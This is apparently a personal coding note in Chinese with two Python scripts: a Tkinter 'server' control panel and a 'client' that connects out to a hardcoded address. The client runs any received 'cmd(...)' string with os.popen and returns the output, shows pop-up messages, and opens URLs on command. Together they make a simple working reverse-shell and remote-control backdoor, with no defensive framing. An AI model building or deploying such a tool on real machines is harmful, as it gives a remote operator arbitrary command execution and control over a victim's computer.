---
# System prepended metadata

title: 建立 socket 物件

---

server
```
import socket
import tkinter as tk
from tkinter import *

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '0.0.0.0'
port = 9999
s.bind((ip,port))
s.listen(1)
print('等待客戶端連接...')
# 接受客戶端連接
client_socket, client_address = s.accept()
print('已連接：', client_address)

#def getclientmg():
    #while True:
        #data = client_socket.recv(1024).decode()
        #Client_label.configure(windows, text = 1)

windows = Tk()
windows.title("server")
windows.geometry('500x400')

tk.Label(windows, text ="Welcome", bg = "lightblue").pack()
ip = "服務端" + str(client_address)
tk.Label(windows, text = ip, bg = "white").pack()
tk.Label(windows, text="輸入訊息").pack()
entry_1 = tk.Entry(windows)
entry_1.pack()
def sendms():
    message = entry_1.get()
    client_socket.send(message.encode())
tk.Button(windows, text="send",command=sendms).pack()

tk.Label(windows, text = "發送訊息方塊").pack()
entry_2 = tk.Entry(windows)
entry_2.pack()
def textbox():
    message = "textbox(" + entry_2.get() + ")"
    client_socket.send(message.encode())
tk.Button(windows, text = "send", command = textbox).pack()

tk.Label(windows,text = "開啟網站").pack()
entry_3 = tk.Entry(windows)
entry_3.pack()
def opwb():
    message = "open(" + entry_3.get() + ")"
    client_socket.send(message.encode())
tk.Button(windows, text = "send",command=opwb).pack()

tk.Label(windows,text = "傳送指令").pack()
entry_4 = tk.Entry(windows)
entry_4.pack()
def runcd():
    message = "cmd(" + entry_4.get() + ")"
    client_socket.send(message.encode())
tk.Button(windows,text = "send",command=runcd).pack()
tk.Label(windows, text = "服務端回傳訊息:").pack()

Client_label = tk.Label(windows, text = "暫無消息")
Client_label.pack()

def quit():
    client_socket.send("quit".encode())
    client_socket.close()
    s.close()
    
tk.Button(windows, text = "結束連接", command=quit).pack()

#thread = threading.Thread(target=getclientmg)
#thread.start()

# 主視窗的主要事件迴圈
windows.mainloop()
s.close()
```
clint
```
import socket
import os
from tkinter import *
import tkinter as tk
import webbrowser

# 建立 socket 物件
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# 設定遠端 IP 和埠號
ip = '192.168.1.114'
port = 9999

# 連接服務端
s.connect((ip, port))
while True:
    # 接收客戶端傳送的資料
    data = s.recv(1024).decode()
    print('接收到資料：', data)


    # 判斷是否結束連接
    if data == 'quit':
        break
    if "cmd" in data:
        data = data[data.find("(") + 1:data.rfind(")")]
        result = os.popen(data)
        result = result.read()
        s.send(result.encode())
    if "textbox" in data:
        data = data[data.find("(") + 1:data.rfind(")")]
        windows = Tk()
        windows.lift()
        label = tk.Label(windows, text = data, width=20, height=5)
        label.pack()
        windows.mainloop()
    if "open" in data:
        data = data[data.find("(") + 1:data.rfind(")")]
        webbrowser.open(data)

# 關閉 socket 連接
s.close()

```